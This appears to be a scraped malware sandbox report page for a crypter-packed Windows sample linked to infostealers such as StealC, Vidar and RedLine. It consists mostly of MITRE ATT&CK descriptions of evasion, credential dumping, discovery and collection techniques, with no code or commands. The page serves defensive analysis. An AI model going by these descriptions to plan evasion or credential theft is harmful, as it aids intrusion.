Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Vidar

Threatname: SmokeLoader

Threatname: Amadey

Threatname: Cryptbot

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Bitcoin Miner

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFCBAEBAEBFHCAKFCAKECFCAFC

C:\ProgramData\BGIJDGCAEBFIIECAKFHIJEGIJE

Windows Analysis Report
SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre